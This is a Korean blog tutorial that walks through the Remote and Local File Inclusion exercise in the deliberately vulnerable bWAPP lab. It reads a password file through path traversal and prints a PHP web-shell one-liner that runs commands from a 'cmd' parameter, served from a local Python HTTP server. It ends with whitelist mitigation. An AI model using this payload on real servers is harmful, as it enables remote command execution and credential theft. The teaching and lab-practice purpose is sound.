Code::Security/비박스(BWAPP)

비박스(bWAPP) A7 Remote & Local File Inclusion (RFI/LFI)

태군 코드 2022. 9. 28. 17:09
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

A7 - Remote & Local File Inclusion (RFI/LFI)

 

LFI(Local File Inclusion)란 공격 대상 서버에 파일을 포함시켜 읽어 오는 공격을 말합니다. 예를 들어 취약한 서버에 악성 스크립트가 포함된 파일을 올린 후 해당 파일을 읽어와 악성 스크립트를 실행시키거나 내부에 있는 중요 정보가 담긴 파일을 읽어 정보 노출이 될 수 있는 공격입니다. 서버에 접근하는 변수 중 취약한 변수에 상대 경로(../)를 사용하여 접근할 수 있습니다.

 

RFI(Remote File Inclusion)란 공격자가 악성 코드가 있는 원격 서버의 파일을 공격 대상 서버에서 실행시켜 취약한 웹 페이지에서 악성 스크립트를 실행 시키는 공격입니다.

 

rlfi.php

rlfi.php 페이지를 살펴보면 언어를 선택할 수 있는 드롭다운 버튼이 보이는데 English를 선택하 Go 버튼을 눌러보도록 하겠습니다.

 

Go 버튼을 누르면 URL 변수에서 language 변수를 통해 lang_en.php 파일을 참조하여 Thanks for your interest in bWAPP! 문구를 페이지에 노출시키고 있는 것을 확인할 수 있습니다. 여기서 취약한 변수는 language라는 것을 알았고 해당 변수를 통하여 중요 파일에 대하여 접근을 해보도록 하겠습니다.

 

비박스에 passwords 디렉터리

 

language 변수를 통하여 비박스 경로의 passwords 디렉터리 안에 accounts.txt 파일에 대하여 접근을 하였고, 해당 파일 안에는 계정 정보가 담겨 있는 것을 확인하였습니다.

해당 파일이 보이지 않으시는 분들은 https://securitycode.tistory.com/230 여기를 참고하시면 됩니다.

 

그럼 이제 내부 서버에 악성 스크립트가 포함된 파일이 업로드되어 있는 상황을 가정하여 살펴보도록 하겠습니다. 테스트를 하기 전에 먼저 파일을 생성하여 줍니다.

 

파일 안의 내용 (LFI_test.php)

<?php echo "<script>alert(\"LFITEST\")</script>";system($_GET["cmd"]);?>

 

 

서버내의 스크립트 파일 실행

 

반응형

 

date 명령 삽입

 

RFI 취약점을 테스트하기 전에 칼리 등 다른 가상 OS를 설치하여 테스트하시는 분들도 있지만 그러지 않은 분들도 있을 거라고 생각이 듭니다. 여기서는 가장 쉽게 테스트할 수 있는 방법으로 파이썬을 사용하여 같이 확인해 보도록 하겠습니다. 여기서는 파이썬이 원격지의 서버가 될 것입니다.

 

php.ini 파일 내용 확인

allow_url_include = Off 로 되어 있을 경우 allow_url_include = On 으로 변경하시기 바랍니다.

 

파이썬이 설치가 안되어 있으신 분들은 파이썬을 설치 후 파이썬 경로에 다음과 같은 파일을 생성하여 줍니다.

 

파일 안의 내용 (RFI_test.php)

<?php echo "<script>alert(\"RFITEST\")</script>";system($_GET["cmd"]);?>

 

파이썬이 설치되어 있는경로에 파일 생성

파이썬이 설치되어 있는 경로에 테스트 파일을 만들고 파이썬을 통하여 HTTP 서버를 실행하도록 하겠습니다.

 

python -m http.server 명령을 통하여 HTTP 서버를 실행시켜 주고 난 후 http://127.0.0.1:8000으로 접속 후 확인하여 줍니다.

 

정성 접속 확인

그럼 이제 파이썬으로 실행시킨 HTTP 서버 http://127.0.0.1:8000 이 원격지의 서버가 될 것이고 RFI 취약점 확인을 해보도록 하겠습니다.

 

RFI 스크립트 실행

원격지의 서버 (http://127.0.0.1:8000)에서 rfi_text.txt 파일을 불러와 원격 명령을 실행시켰습니다. 여기서 살펴보았듯이 RFI 공격은 원격으로 악성코드 또는 웹 셸을 웹 서버에서 실행하게 하거나 2차 공격에 사용하는 등 악성코드를 강제로 웹 서버에 생성할 수 있습니다.

 

rlfi.php 소스코드

난이도 상에서는 LFI/RFI 공격을 막기 위하여 language 변수에 입력할 내용을 배열로 한정하는 화이트 리스트 처리를 하였습니다.

 

language 변수에 들어오는 입력 값을 생성한 배열로 검증하기 때문에 RFI 공격에 사용한 cmd 변수나 URL은 입력하지 못하는 것을 알 수 있습니다.

반응형